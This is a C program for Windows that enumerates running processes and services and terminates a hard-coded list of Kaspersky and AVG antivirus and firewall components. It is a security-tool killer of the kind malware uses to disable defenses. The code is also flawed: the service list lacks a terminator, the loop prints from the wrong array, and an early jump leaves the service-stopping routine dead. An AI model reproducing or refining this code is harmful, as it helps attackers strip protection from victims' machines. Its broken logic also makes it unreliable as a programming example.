#include #include #include #include #pragma comment(lib, "Advapi32.lib") #pragma comment(lib, "shlwapi.lib") #define MAX_BUF_SIZE 1024 /* * Functions forward declarations. */ int killProcess(char *pProcessName); int killService(char *pServiceName); int killAProc(int pPID); /* * Global variables + constants. */ char *gPFWsProcesses[] = {"KAVPF.exe", "agentw.exe", "AckWin32.exe", "avpm.exe", "AVGUPSVC.EXE", "AVGCC.exe", "AVGCTRL.EXE", "AVGSERV.EXE", "AVGAMSVR.EXE", "AVGEMC.EXE", NULL}; char *gPFWsServices[] = {"Avg7Alrt", "Avg7UpdSvc", "AVGEMS"}; /* * Program entry point. */ int main(int argc, char* argv[]) { int lRetVal = 0; int lCounter = 0; /* * Killing firewall services. */ for (lCounter = 0; gPFWsServices[lCounter] != NULL; lCounter++) { printf("killing firewall service \"%s\"\n", gPFWsProcesses[lCounter]); killService(gPFWsServices[lCounter]); } /* * Killing firewall processes */ for (lCounter = 0; gPFWsProcesses[lCounter] != NULL; lCounter++) { printf("killing firewall process \"%s\"\n", gPFWsProcesses[lCounter]); killProcess(gPFWsProcesses[lCounter]); } END: return(lRetVal); } /* * functions + procedures. */ int killService(char *pServiceName) { int lRetVal = 0; SC_HANDLE hSCManager = 0; SC_HANDLE hService = 0; SERVICE_STATUS status; goto END; if ((hSCManager = OpenSCManager(0, 0, SC_MANAGER_CONNECT)) == 0) { lRetVal = -1; goto END; } if ((hService = OpenService(hSCManager, pServiceName, SERVICE_STOP)) == 0) { lRetVal = -2; goto END; } ControlService(hService, SERVICE_CONTROL_STOP, &status); if (hService != INVALID_HANDLE_VALUE) CloseServiceHandle(hService); if (hSCManager != INVALID_HANDLE_VALUE) CloseServiceHandle(hSCManager); END: return(lRetVal); } int killProcess(char *pProcessName) { int lRetVal = 0; HANDLE hSnap = INVALID_HANDLE_VALUE; HANDLE hProcess = INVALID_HANDLE_VALUE; PROCESSENTRY32 lProcEnt; ZeroMemory(&lProcEnt, sizeof(lProcEnt)); lProcEnt.dwSize = sizeof(lProcEnt); if((hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)) != (HANDLE) -1) { if(Process32First(hSnap, &lProcEnt)) { do { if (StrStrI(lProcEnt.szExeFile, pProcessName) != NULL) { if((hProcess = OpenProcess(PROCESS_TERMINATE, 1, lProcEnt.th32ProcessID)) != NULL) { if (! TerminateProcess(hProcess, NULL)) { printf(" ERROR: terminating process %s : %d\n", lProcEnt.szExeFile, GetLastError()); } CloseHandle(hProcess); } else { printf(" ERROR: can't open process %s : %d\n", lProcEnt.szExeFile, GetLastError()); } } CloseHandle(hProcess); } while(Process32Next(hSnap, &lProcEnt)); CloseHandle(hSnap); } else { printf(" ERROR: can't open process listing : %d\n", GetLastError()); } } else { printf(" ERROR : can't create processes listing : %d\n", GetLastError()); } return(lRetVal); }